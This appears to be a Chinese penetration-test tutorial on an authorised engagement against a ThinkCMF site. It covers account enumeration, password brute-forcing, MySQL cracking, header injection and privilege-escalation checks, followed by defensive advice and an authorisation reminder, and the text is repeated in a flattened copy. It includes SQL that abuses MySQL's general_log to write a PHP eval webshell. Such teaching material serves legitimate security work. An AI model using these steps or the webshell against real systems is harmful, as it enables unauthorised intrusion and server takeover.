记一次授权的渗透测试
字数 1609 2025-08-24 23:51:23

ThinkCMF渗透测试实战教学文档

1. 前期信息收集

1.1 会员登录界面分析

  • 观察登录界面特征:手机号登录界面
  • 尝试用户名枚举:测试admin账号是否存在
  • 使用工具:手工测试或Burp Suite进行枚举

1.2 密码爆破

  • 使用字典:鸭王字典(https://github.com/TheKingOfDuck/fuzzDicts)
  • 爆破工具推荐:
    • Burp Suite Intruder
    • Hydra
    • 超级弱口令检查工具
  • 注意点:管理员可能使用相同密码跨系统

2. 后台渗透

2.1 后台功能分析

  • 识别CMS类型:ThinkCMF建站系统
  • 检查上传功能:
    • 自定义上传后缀功能
    • 图片编辑器上传功能

2.2 ThinkCMF漏洞利用

  • 参考漏洞集合:
    • https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html
    • https://www.freebuf.com/vuls/217586.html
  • 常见漏洞类型:
    • 文件上传漏洞
    • SQL注入
    • 远程代码执行
  • 注意:高版本可能已修复已知漏洞

3. 数据库渗透

3.1 敏感信息探测

  • 使用工具:Sensinfor谷歌插件
  • 探测目标:
    • 备份文件
    • phpmyadmin
    • phpinfo页面
  • 获取信息:网站绝对路径

3.2 MySQL数据库爆破

  • 端口扫描:3306端口开放
  • 爆破工具:
    • Hydra
    • 超级弱口令检查工具
  • 字典选择:鸭王字典或其他专业字典

3.3 MySQL日志写入Webshell

-- 查看日志状态
SHOW VARIABLES LIKE '%general%';

-- 开启日志读写
SET GLOBAL general_log='on';

-- 指定日志路径(使用获取的绝对路径)
SET GLOBAL general_log_file='/var/www/html/xxx.php';

-- 写入Webshell
SELECT '<?php eval($_POST["cmd"]); ?>';

4. 其他漏洞挖掘

4.1 登录IP伪造

  • 漏洞位置:后台登录IP记录功能
  • 测试方法:
    • 修改X-Forwarded-For头
    • 尝试注入XSS payload
  • 防御机制:IP合法性校验(非法IP重置为0.0.0.0)

4.2 越权漏洞

  • 测试方法:
    • 修改URL参数尝试越权操作
    • 检查前端限制是否可绕过
  • 示例:
    • 普通会员修改为VIP会员
    • 管理员信息修改

5. 渗透测试流程总结

  1. 信息收集阶段

    • 枚举有效账号
    • 密码爆破
    • CMS识别
  2. 漏洞探测阶段

    • 检查已知CMS漏洞
    • 测试上传功能
    • 扫描敏感目录
  3. 数据库渗透阶段

    • 端口扫描
    • 数据库爆破
    • 日志写入Webshell
  4. 其他漏洞挖掘

    • HTTP头注入测试
    • 越权测试
  5. 报告编写

    • 记录所有发现漏洞
    • 包括成功和失败的尝试
    • 提供修复建议

6. 工具清单

工具名称 用途 下载链接
鸭王字典 密码爆破 https://github.com/TheKingOfDuck/fuzzDicts
Burp Suite Web渗透测试 https://portswigger.net/burp
Hydra 密码爆破 https://github.com/vanhauser-thc/thc-hydra
Sensinfor 敏感目录探测 T00ls社区
Nmap 端口扫描 https://nmap.org/
超级弱口令检查工具 密码爆破 国内安全工具

7. 防御建议

  1. 密码安全

    • 强制使用复杂密码
    • 启用多因素认证
    • 限制登录尝试次数
  2. 上传安全

    • 严格限制上传文件类型
    • 文件内容检查
    • 上传目录不可执行
  3. 数据库安全

    • 修改默认端口
    • 限制远程访问IP
    • 使用强密码
  4. 日志安全

    • 禁用general_log
    • 限制日志目录权限
  5. 权限控制

    • 严格的权限分离
    • 后端校验所有请求
    • 防止越权访问
  6. CMS安全

    • 及时更新补丁
    • 删除不必要功能
    • 自定义错误页面

8. 注意事项

  1. 授权测试前务必获取书面授权
  2. 避免使用破坏性payload
  3. 测试数据做好备份
  4. 敏感信息加密存储
  5. 测试完成后清理测试痕迹
  6. 遵守当地法律法规
ThinkCMF渗透测试实战教学文档 1. 前期信息收集 1.1 会员登录界面分析 观察登录界面特征:手机号登录界面 尝试用户名枚举:测试admin账号是否存在 使用工具:手工测试或Burp Suite进行枚举 1.2 密码爆破 使用字典:鸭王字典(https://github.com/TheKingOfDuck/fuzzDicts) 爆破工具推荐: Burp Suite Intruder Hydra 超级弱口令检查工具 注意点:管理员可能使用相同密码跨系统 2. 后台渗透 2.1 后台功能分析 识别CMS类型:ThinkCMF建站系统 检查上传功能: 自定义上传后缀功能 图片编辑器上传功能 2.2 ThinkCMF漏洞利用 参考漏洞集合: https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html https://www.freebuf.com/vuls/217586.html 常见漏洞类型: 文件上传漏洞 SQL注入 远程代码执行 注意:高版本可能已修复已知漏洞 3. 数据库渗透 3.1 敏感信息探测 使用工具:Sensinfor谷歌插件 探测目标: 备份文件 phpmyadmin phpinfo页面 获取信息:网站绝对路径 3.2 MySQL数据库爆破 端口扫描:3306端口开放 爆破工具: Hydra 超级弱口令检查工具 字典选择:鸭王字典或其他专业字典 3.3 MySQL日志写入Webshell 4. 其他漏洞挖掘 4.1 登录IP伪造 漏洞位置:后台登录IP记录功能 测试方法: 修改X-Forwarded-For头 尝试注入XSS payload 防御机制:IP合法性校验(非法IP重置为0.0.0.0) 4.2 越权漏洞 测试方法: 修改URL参数尝试越权操作 检查前端限制是否可绕过 示例: 普通会员修改为VIP会员 管理员信息修改 5. 渗透测试流程总结 信息收集阶段 枚举有效账号 密码爆破 CMS识别 漏洞探测阶段 检查已知CMS漏洞 测试上传功能 扫描敏感目录 数据库渗透阶段 端口扫描 数据库爆破 日志写入Webshell 其他漏洞挖掘 HTTP头注入测试 越权测试 报告编写 记录所有发现漏洞 包括成功和失败的尝试 提供修复建议 6. 工具清单 | 工具名称 | 用途 | 下载链接 | |---------|------|---------| | 鸭王字典 | 密码爆破 | https://github.com/TheKingOfDuck/fuzzDicts | | Burp Suite | Web渗透测试 | https://portswigger.net/burp | | Hydra | 密码爆破 | https://github.com/vanhauser-thc/thc-hydra | | Sensinfor | 敏感目录探测 | T00ls社区 | | Nmap | 端口扫描 | https://nmap.org/ | | 超级弱口令检查工具 | 密码爆破 | 国内安全工具 | 7. 防御建议 密码安全 强制使用复杂密码 启用多因素认证 限制登录尝试次数 上传安全 严格限制上传文件类型 文件内容检查 上传目录不可执行 数据库安全 修改默认端口 限制远程访问IP 使用强密码 日志安全 禁用general_ log 限制日志目录权限 权限控制 严格的权限分离 后端校验所有请求 防止越权访问 CMS安全 及时更新补丁 删除不必要功能 自定义错误页面 8. 注意事项 授权测试前务必获取书面授权 避免使用破坏性payload 测试数据做好备份 敏感信息加密存储 测试完成后清理测试痕迹 遵守当地法律法规